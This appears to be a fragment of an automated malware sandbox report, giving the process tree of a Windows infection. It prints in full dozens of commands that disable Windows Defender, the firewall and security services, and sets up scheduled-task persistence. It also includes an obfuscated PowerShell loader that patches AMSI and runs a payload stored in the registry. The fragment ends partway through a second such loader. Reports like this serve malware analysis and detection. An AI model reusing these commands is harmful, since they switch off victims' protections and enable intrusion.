PID 2764 wrote to memory of 4564	2764	cmd.exe	97
PID 2180 wrote to memory of 1000	2180	wlanext.exe	98
PID 2180 wrote to memory of 1000	2180	wlanext.exe	98
PID 2180 wrote to memory of 1000	2180	wlanext.exe	98
PID 2180 wrote to memory of 4256	2180	wlanext.exe	99
PID 2180 wrote to memory of 4256	2180	wlanext.exe	99
PID 1000 wrote to memory of 4252	1000	x69Install.exe	100
PID 1000 wrote to memory of 4252	1000	x69Install.exe	100
PID 1000 wrote to memory of 4252	1000	x69Install.exe	100
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 5024 wrote to memory of 3128	5024	powershell.EXE	106
PID 3128 wrote to memory of 632	3128	dllhost.exe	5
PID 3128 wrote to memory of 688	3128	dllhost.exe	7
PID 3128 wrote to memory of 988	3128	dllhost.exe	12
PID 3128 wrote to memory of 552	3128	dllhost.exe	13
PID 3128 wrote to memory of 716	3128	dllhost.exe	14
PID 3128 wrote to memory of 916	3128	dllhost.exe	15
PID 3128 wrote to memory of 1048	3128	dllhost.exe	16
PID 3128 wrote to memory of 1144	3128	dllhost.exe	18
PID 3128 wrote to memory of 1160	3128	dllhost.exe	19
PID 3128 wrote to memory of 1176	3128	dllhost.exe	20
PID 3128 wrote to memory of 1224	3128	dllhost.exe	21
PID 3128 wrote to memory of 1320	3128	dllhost.exe	22
PID 3128 wrote to memory of 1404	3128	dllhost.exe	23
PID 3128 wrote to memory of 1460	3128	dllhost.exe	24
PID 3128 wrote to memory of 1520	3128	dllhost.exe	25
PID 3128 wrote to memory of 1576	3128	dllhost.exe	26
PID 3128 wrote to memory of 1584	3128	dllhost.exe	27
PID 3128 wrote to memory of 1620	3128	dllhost.exe	28
PID 3128 wrote to memory of 1732	3128	dllhost.exe	29
PID 3128 wrote to memory of 1768	3128	dllhost.exe	30
PID 3128 wrote to memory of 1836	3128	dllhost.exe	31
PID 3128 wrote to memory of 1860	3128	dllhost.exe	32
PID 3128 wrote to memory of 1916	3128	dllhost.exe	33
PID 3128 wrote to memory of 1928	3128	dllhost.exe	34
PID 3128 wrote to memory of 2024	3128	dllhost.exe	35
PID 3128 wrote to memory of 1188	3128	dllhost.exe	36
PID 3128 wrote to memory of 2092	3128	dllhost.exe	37
PID 3128 wrote to memory of 2224	3128	dllhost.exe	39
PID 3128 wrote to memory of 2388	3128	dllhost.exe	40
PID 3128 wrote to memory of 2396	3128	dllhost.exe	41
PID 3128 wrote to memory of 2456	3128	dllhost.exe	42
PID 3128 wrote to memory of 2496	3128	dllhost.exe	43
PID 3128 wrote to memory of 2588	3128	dllhost.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:552
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{176e514e-4c3f-46c6-8c9d-ed0c486d19f6}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3128
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1c21c5a8-6e9e-4e84-bc69-e9c4a047ede1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5208

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1160
- C:\Users\Admin\AppData\Roaming\wlanext.exe
  C:\Users\Admin\AppData\Roaming\wlanext.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69Install.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2312
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69Install" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69Install.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2260
- - C:\Users\Admin\AppData\Roaming\x69Install.exe
    "C:\Users\Admin\AppData\Roaming\x69Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1000
  - - C:\Users\Admin\AppData\Local\Temp\iyMbXS.exe
      C:\Users\Admin\AppData\Local\Temp\iyMbXS.exe
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:4252
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\69057280.bat" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3504
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69..exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4256
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3512
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69." /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69..exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4548
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:304
- - C:\Users\Admin\AppData\Roaming\x69..exe
    "C:\Users\Admin\AppData\Roaming\x69..exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3780
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\AB53.tmp\AB54.tmp\AB55.bat C:\Users\Admin\AppData\Roaming\x69..exe"
      4⤵
      PID:1388
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3468
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1904
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1156
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1172
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:240
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1940
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1268
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -MAPSReporting 0"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5956
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1964
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "Reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1672
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyware /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "REG ADD ΓÇ£hklm\software\policies\microsoft\windows defenderΓÇ¥ /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2600
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -command "netsh advfirewall set allprofiles state off"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:3776
      - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4864
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        5⤵
        
        PID:5856
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        
        PID:4000
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:296
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:1564
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:5628
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3592
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2292
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3164
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        5⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4984
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:1900
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        5⤵
        
        PID:304
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:3712
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        5⤵
        
        PID:4056
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:3672
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        5⤵
        
        PID:2720
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        5⤵
        
        PID:1000
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        5⤵
        
        PID:236
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        5⤵
        
        PID:3276
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        5⤵
        
        PID:2056
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        5⤵
        
        PID:4556
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:4784
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        5⤵
        
        PID:1876
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:1472
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:4704
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        5⤵
        
        PID:4360
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2040
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:3972
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:2572
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies Security services
        
        PID:424
    - - C:\Windows\system32\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        5⤵
        Modifies security service
        
        PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\x69s.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5904
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "x69s" /SC ONLOGON /TR "C:\Users\Admin\AppData\Roaming\x69s.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5628
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5168
- - C:\Users\Admin\AppData\Roaming\x69s.exe
    "C:\Users\Admin\AppData\Roaming\x69s.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:eBKxOUIxZEBe{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oppucFTtRAhPcD,[Parameter(Position=1)][Type]$OAgfWvYefA)$eKvsAlCdFmZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+'t'+''+'e'+'d'+[Char](68)+'e'+[Char](108)+'e'+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+'y'+'M'+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'Ty'+[Char](112)+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+'l'+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+'s'+'i'+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$eKvsAlCdFmZ.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+'g'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$oppucFTtRAhPcD).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+'me,M'+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$eKvsAlCdFmZ.DefineMethod(''+[Char](73)+''+'n'+'v'+[Char](111)+''+'k'+''+[Char](101)+'','P'+'u'+'b'+'l'+'i'+[Char](99)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+'y'+'S'+'i'+'g,'+[Char](78)+''+'e'+''+'w'+'S'+'l'+'ot'+[Char](44)+''+'V'+'irtu'+[Char](97)+'l',$OAgfWvYefA,$oppucFTtRAhPcD).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'im'+[Char](101)+''+[Char](44)+'Man'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $eKvsAlCdFmZ.CreateType();}$tEHgLiTcCOAGo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+''+'o'+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+'U'+'n'+''+[Char](115)+'afe'+[Char](78)+'a'+[Char](116)+'i'+[Char](118)+'e'+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+'s'+'');$pfOgZBWNxkJYfu=$tEHgLiTcCOAGo.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'ro'+'c'+''+[Char](65)+'d'+'d'+''+[Char](114)+''+[Char](101)+''+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c'+[Char](44)+''+[Char](83)+'ta'+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OgqzEUIAiaUqirEtPTD=eBKxOUIxZEBe @([String])([IntPtr]);$ZKEEYetCYXIKRtXKEuKQIT=eBKxOUIxZEBe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$vpMrMwodUVb=$tEHgLiTcCOAGo.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+'odu'+[Char](108)+''+'e'+''+[Char](72)+'an'+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+'d'+''+[Char](108)+'l')));$uvdBJalMUFeGna=$pfOgZBWNxkJYfu.Invoke($Null,@([Object]$vpMrMwodUVb,[Object]('L'+[Char](111)+'ad'+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$aLHdFTYJKxKRFTtkU=$pfOgZBWNxkJYfu.Invoke($Null,@([Object]$vpMrMwodUVb,[Object]('V'+'i'+''+[Char](114)+'t'+[Char](117)+'a'+'l'+'P'+[Char](114)+'ot'+[Char](101)+''+[Char](99)+'t')));$LHCiLHQ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uvdBJalMUFeGna,$OgqzEUIAiaUqirEtPTD).Invoke(''+'a'+'m'+'s'+''+[Char](105)+''+[Char](46)+''+'d'+'l'+'l'+'');$etYWNyrAYPTxaCeQL=$pfOgZBWNxkJYfu.Invoke($Null,@([Object]$LHCiLHQ,[Object]('A'+[Char](109)+'s'+'i'+''+[Char](83)+''+[Char](99)+'an'+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+'e'+'r')));$WBHXskpkTz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aLHdFTYJKxKRFTtkU,$ZKEEYetCYXIKRtXKEuKQIT).Invoke($etYWNyrAYPTxaCeQL,[uint32]8,4,[ref]$WBHXskpkTz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$etYWNyrAYPTxaCeQL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aLHdFTYJKxKRFTtkU,$ZKEEYetCYXIKRtXKEuKQIT).Invoke($etYWNyrAYPTxaCeQL,[uint32]8,0x20,[ref]$WBHXskpkTz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+'A'+'R'+''+'E'+'').GetValue('x69'+[Char](115)+''+'t'+'a'+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kBPrgSEUgbKA{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gBSGZUEUdQbhUy,[Parameter(Position=1)][Type]$gARBbFTNwW)$GrrLdUXJaeY=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+[Char](68)+''+'e'+''+'l'+'e'+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+'emo'+'r'+''+'y'+'M'+[Char](111)+''+'d'+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+'e'+[Char](108)+''+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'T'+'y'+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+'P'+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+','+''+[Char](83)+'e'+[Char](97)+''+'l'+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s',[MulticastDelegate]);$GrrLdUXJaeY.DefineConstructor('R